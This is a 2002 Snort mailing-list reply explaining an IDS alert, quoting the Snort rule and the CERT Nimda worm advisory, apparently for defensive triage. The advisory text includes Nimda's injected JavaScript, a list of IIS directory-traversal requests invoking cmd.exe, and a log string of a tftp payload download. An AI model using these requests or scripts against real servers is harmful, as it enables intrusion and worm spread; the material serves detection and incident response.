Re: WEB-MISC readme.eml attempt

[Phil Wood <cpw () lanl gov>]

Let us know when you figure it out. 

On Mon, Mar 11, 2002 at 06:48:55PM -0500, Basil Saragoza wrote:
> I have local sensor that sniffs lan nic of the firewall. I see a couple of
> entries to the workstations (w2k with IIS5) and it says - WEB-MISC
> readme.eml attempt    .

Not a lot of content here.  I'd include the rule if I wanted help:

% grep "readme.eml attempt" web-misc.rules

web-misc.rules:alert tcp $EXTERNAL_NET 80 -> $HOME_NET any (msg: "WEB-MISC readme.eml attempt"; flags:A+; uricontent: 
"readme.eml"; nocase; classtype: attempted-user; sid:1284; rev:3; reference: 
url,www.cert.org/advisories/CA-2001-26.html;)

Now, with the rule what would you do?  What kind of information is available
to help you figure out why the rule triggered:

  1. The content is coming back to a user within the network you are protecting
     with your firewall.  Presumably it will get through because it is a 
     normal result of a web query from one of your users.
     Of course you could prevent this kind of thing with your firewall by
     preventing your users access to http (port 80).

  2. TCP flags indicate that it is most likely a data packet (the SYN/ACK could
     contain data, but we should send all those packets to Bill).

  3. Hmmm, there is a sid:1284.  Opps no help there.  The explanation is a bit
     short.  Waiting for someone on the snort list to help out.

  4. Oh, look a "reference"!  Let's see what the CERT advisory says.

     http://www.cert.org/advisories/CA-2001-26.html

     It's a tad long, but boy does it have a lot of nifty url's where you can
     learn even more.  I started scanning it and found in the Overview.  The
     following:

*** from web server to client via browsing of compromised web sites ***

     Sounds like your boy.

So, as usual, you are on your own.

Later,

Phil

PS: Rather than leave it at that, I'll append what I saw on the web in ascii.
    Search for "r.adm...ml" where . is a wildcard character.

CERT® Advisory CA-2001-26 Nimda Worm

Original release date: September 18, 2001
Revised: September 25, 2001
Source: CERT/CC

A complete revision history is at the end of this file. 

Systems Affected

    Systems running Microsoft Windows 95, 98, ME, NT, and 2000 

(good old Bill)

Overview
The CERT/CC has received reports of new malicious code known as the "W32/Nimda worm" or the "Concept Virus (CV) v.5." 
This new
worm appears to spread by multiple mechanisms: 

    from client to client via email 
    from client to client via open network shares 
***********************************************************************
*** from web server to client via browsing of compromised web sites ***
***********************************************************************
    from client to web server via active scanning for and exploitation of various Microsoft IIS 4.0 / 5.0 directory 
traversal
    vulnerabilities (VU#111677 and CA-2001-12) 
    from client to web server via scanning for the back doors left behind by the "Code Red II" (IN-2001-09), and 
"sadmind/IIS"
    (CA-2001-11) worms 

The worm modifies web documents (e.g., .htm, .html, and .asp files) and certain executable files found on the systems 
it infects, and
creates numerous copies of itself under various file names. 

We have also received reports of denial of service as a result of network scanning and email propagation. 

I. Description

The Nimda worm has the potential to affect both user workstations (clients) running Windows 95, 98, ME, NT, or 2000 and 
servers
running Windows NT and 2000. 

Email Propagation


This worm propagates through email arriving as a MIME "multipart/alternative" message consisting of two sections. The 
first section is
defined as MIME type "text/html", but it contains no text, so the email appears to have no content. The second section 
is defined as
MIME type "audio/x-wav", but it contains a base64-encoded attachment named "readme.exe", which is a binary executable. 

Due to a vulnerability described in CA-2001-06 (Automatic Execution of Embedded MIME Types), any mail software running 
on an x86
platform that uses Microsoft Internet Explorer 5.5 SP1 or earlier (except IE 5.01 SP2) to render the HTML mail 
automatically runs the
enclosed attachment and, as result, infects the machine with the worm. Thus, in vulnerable configurations, the worm 
payload will
automatically be triggered by simply opening (or previewing) this mail message. As an executable binary, the payload 
can also be triggered
by simply running the attachment. 

The email message delivering the Nimda worm appears to also have the following characteristics: 

    The text in the subject line of the mail message appears to be variable. 

    There appear to be many slight variations in the attached binary file, causing the MD5 checksum to be different 
when one
    compares different attachments from different email messages. However, the file length of the attachment appears to
    consistently be 57344 bytes. 

The worm also contains code that will attempt to resend the infected email messages every 10 days. 

Payload

The email addresses targeted for receiving the worm are harvested from two sources 

    the .htm and .html files in the user's web cache folder 
    the contents of the user's email messages retrieved via the MAPI service 

These files are passed through a simple pattern matcher which collects strings that look like email addresses. These 
addresses then receive
a copy of the worm as a MIME-encoded email attachment. Nimda stores the time the last batch of emails were sent in the 
Windows
registry, and every 10 days will repeat the process of harvesting addresses and sending the worm via email. 

Likewise, the client machines begin scanning for vulnerable IIS servers. Nimda looks for backdoors left by previous IIS 
worms: Code Red
II [IN-2001-09] and sadmind/IIS worm [CA-2001-11]. It also attempts to exploit various IIS Directory Traversal 
vulnerabilities
(VU#111677 and CA-2001-12). The selection of potential target IP addresses follows these rough probabilities: 

    50% of the time, an address with the same first two octets will be chosen 
    25% of the time, an address with the same first octet will be chosen 
    25% of the time, a random address will be chosen 

The infected client machine attempts to transfer a copy of the Nimda code via tftp (69/UDP) to any IIS server that it 
scans and finds to
be vulnerable. 

Once running on the server machine, the worm traverses each directory in the system (including all those accessible 
through file shares)
and writes a MIME-encoded copy of itself to disk using file names with .eml or .nws extensions (e.g., readme.eml). When 
a directory
containing web content (e.g., HTML or ASP files) is found, the following snippet of Javascript code is appended to 
every one of these
web-related files: 
***
*** Damn it's a gif file!  I wonder why ***
***
   <script language="JavaScript">
   window.open ("r3adm3.3ml", null, "resizable=no,top=6000,left=t000")
   </script>

*** Oh, yea I might trigger a rule somewhere in some virus checker.
This modification of web content allows further propagation of the worm to new clients through a web browser or through 
the browsing
of a network file system. 

In order to further expose the machine, the worm 

    enables the sharing of the c: drive as C$ 
    creates a "Guest" account on Windows NT and 2000 systems 
    adds this account to the "Administrator" group. 

Furthermore, the Nimda worm infects existing binaries on the system by creating Trojan horse copies of legitimate 
applications. These
Trojan horse versions of the applications will first execute the Nimda code (further infecting the system and 
potentially propagating the
worm), and then complete their intended function. 

Browser Propagation

As part of the infection process, the Nimda worm modifies all web content files it finds (including, but not limited 
to, files with .htm, .html,
and .asp extensions). As a result, any user browsing web content on the system, whether via the file system or via a 
web server, may
download a copy of the worm. Some browsers may automatically execute the downloaded copy, thereby infecting the 
browsing system. 

File System Propagation

The Nimda worm creates numerous MIME-encoded copies of itself (using file names with .eml and .nws extensions) in all 
writable
directories (including those found on a network share) to which the user has access. If a user on another system 
subsequently selects the
copy of the worm file on the shared network drive in Windows Explorer with the preview option enabled, the worm may be 
able to
compromise that system. 

Additionally, by creating Trojan horse versions of legitimate applications already installed on the system, users may 
unknowingly trigger the
worm when attempting to make use of these programs. 

System FootPrint

The scanning activity of the Nimda worm produces the following log entries for any web server listing on port 80/tcp: 

GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir

Note: The first four entries in these sample logs denote attempts to connect to the backdoor left by Code Red II, while 
the remaining log
entries are examples of exploit attempts for the Directory Traversal vulnerability. 

II. Impact

Intruders can execute arbitrary commands within the LocalSystem security context on machines running the unpatched 
versions of IIS. In
the case where a client is compromised, the worm will be run with the same privileges as the user who triggered it. 
Hosts that have been
compromised are also at high risk for being party to attacks on other Internet sites. 

The high scanning rate of the Nimda worm may also cause bandwidth denial-of-service conditions on networks with 
infected machines. 

III. Solutions

Recommendations for System Administrators of IIS machines

To determine if your system has been compromised, look for the following: 

    a root.exe file (indicates a compromise by Code Red II or sadmind/IIS worms making the system vulnerable to the 
Nimda worm) 
    an Admin.dll file in the root directory of c:\, d:\, or e:\ (Note that the file name Admin.dll may be legitimately 
installed by IIS in
    other directories.) 
    unexpected .eml or .nws files in numerous directories 
    the presence of this string: /c+tftp%20-i%20x.x.x.x%20GET%20Admin.dll%20d:\Admin.dll 200 in the IIS
    logs, where "x.x.x.x" is the IP address of the attacking system. (Note that only the "200" result code indicates 
success of this
    command.) 

The only safe way to recover from the system compromise is to format the system drive(s) and reinstall the system 
software from trusted
media (such as vendor-supplied CD-ROM). Additionally, after the software is reinstalled, all vendor-supplied security 
patches must be
applied. The recommended time to do this is while the system is not connected to any network. However, if sufficient 
care is taken to
disable all server network services, then the patches can be downloaded from the Internet. 

Detailed instructions for recovering your system can be found in the CERT/CC tech tip: 

    Steps for Recovering from a UNIX or NT System Compromise 

Apply the appropriate patch from your vendor

A cumulative patch which addresses all of the IIS-related vulnerabilities exploited by the Nimda worm is available from 
Microsoft at 

    http://www.microsoft.com/technet/security/bulletin/MS01-044.asp 

Recommendations for Network Administrators

Ingress filtering

Ingress filtering manages the flow of traffic as it enters a network under your administrative control. Servers are 
typically the only
machines that need to accept inbound connections from the public Internet. In the network usage policy of many sites, 
there are few
reasons for external hosts to initiate inbound connections to machines that provide no public services. Thus, ingress 
filtering should be
performed at the border to prohibit externally initiated inbound connections to non-authortized services. With Nimda, 
ingress filtering of
port 80/tcp could prevent instances of the worm outside of your network from scanning or infecting vulnerable IIS 
servers in the local
network that are not explicitly authorized to provide public web services. Filtering of port 69/udp will also prevent 
the downloading of the
worm to IIS via tftp. 

Cisco has published a tech tip specifically addressing filtering guidelines to mitigate the impact of the Nimda worm at 

    http://www.cisco.com/warp/public/63/nimda.shtml 

Egress filtering

Egress filtering manages the flow of traffic as it leaves a network under your administrative control. There is 
typically limited need for
machines providing public services to initiate outbound connections to the Internet. In the case of Nimda, employing 
egress filtering on
port 69/udp at your network border will prevent certain aspects of the worms propogation both to and from your network. 

Recommendations for End User Systems

Apply the appropriate patch from your vendor

If you are running a vulnerable version of Internet Explorer (IE), the CERT/CC recommends upgrading to at least version 
5.0 since older
versions are no longer officially maintained by Microsoft. Users of IE 5.0 and above are encourage to apply patch for 
the "Automatic
Execution of Embedded MIME Types" vulnerability available from Microsoft at

    http://www.microsoft.com/technet/security/bulletin/MS01-020.asp 

Note: IE 5.5 SP1 users should apply the patches discussed in MS01-027 

Run and Maintain an Anti-Virus Product

It is important for users to update their anti-virus software. Most anti-virus software vendors have released updated 
information, tools,
or virus databases to help detect and partially recover from this malicious code. A list of vendor-specific anti-virus 
information can be
found in Appendix A. 

Many anti-virus packages support automatic updates of virus definitions. We recommend using these automatic updates 
when available. 

Don't open e-mail attachments

The Nimda worm may arrive as an email attachment named "readme.exe". Users should not open this attachment.

Disable JavaScript

End-user systems can become infected with the Nimda worm by browsing web sites hosted by infected servers. This method 
of infection
requires the use of JavaScript to be successful. Therefore, the CERT/CC recommends that end user systems disable 
JavaScript until all
appropriate patches have been applied and anti-virus software has been updated. 

Appendix A. Vendor Information

Antivirus Vendor Information

Aladdin Knowledge Systems

    http://www.eSafe.com/home/csrt/valerts2.asp?virus_no=10087 

Central Command, Inc.

    http://support.centralcommand.com/cgi-bin/command.cfg/php/enduser/std_adp.php?
    p_refno=010918-000005 

Command Software Systems

    http://www.commandsoftware.com/virus/nimda.html 

Computer Associates

    http://www.ca.com/virusinfo/encyclopedia/descriptions/n/nimda.htm 

F-Secure Corp

    http://www.fsecure.com/v-descs/nimda.shtml 

McAfee

    http://vil.mcafee.com/dispVirus.asp?virus_k=99209&; 

Panda Software

    http://service.pandasoftware.es/library/card.jsp?Virus=Nimda 

Proland Software

    http://www.pspl.com/virus_info/worms/nimda.htm 

Sophos

    http://www.sophos.com/virusinfo/analyses/w32nimdaa.html 

Symantec

    http://www.symantec.com/avcenter/venc/data/w32.nimda.a () mm html 

Trend Micro

    http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName=TROJ_NIMDA.A
    http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5.asp?VName=TROJ_NIMDA.A 

References

You may wish to visit the CERT/CC's computer virus resources page located at 

    http://www.cert.org/other_sources/viruses.html 



> Is it an indication that:
> 1. Someone on this workstation tried to access infected site on the internet
> 2. or that upload was attempted from internet to local workstation to infect
> it.
>
> Should I worry about it or it is just an informational alert?
>
> Workstations run only ftp part of the iis, not the web.
> thx.
>
> _______________________________________________
> Snort-users mailing list
> Snort-users () lists sourceforge net
> Go to this URL to change user options or unsubscribe:
> https://lists.sourceforge.net/lists/listinfo/snort-users
> Snort-users list archive:
> http://www.geocrawler.com/redir-sf.php3?list=snort-users

-- 
Phil Wood, cpw () lanl gov


_______________________________________________
Snort-users mailing list
Snort-users () lists sourceforge net
Go to this URL to change user options or unsubscribe:
https://lists.sourceforge.net/lists/listinfo/snort-users
Snort-users list archive:
http://www.geocrawler.com/redir-sf.php3?list=snort-users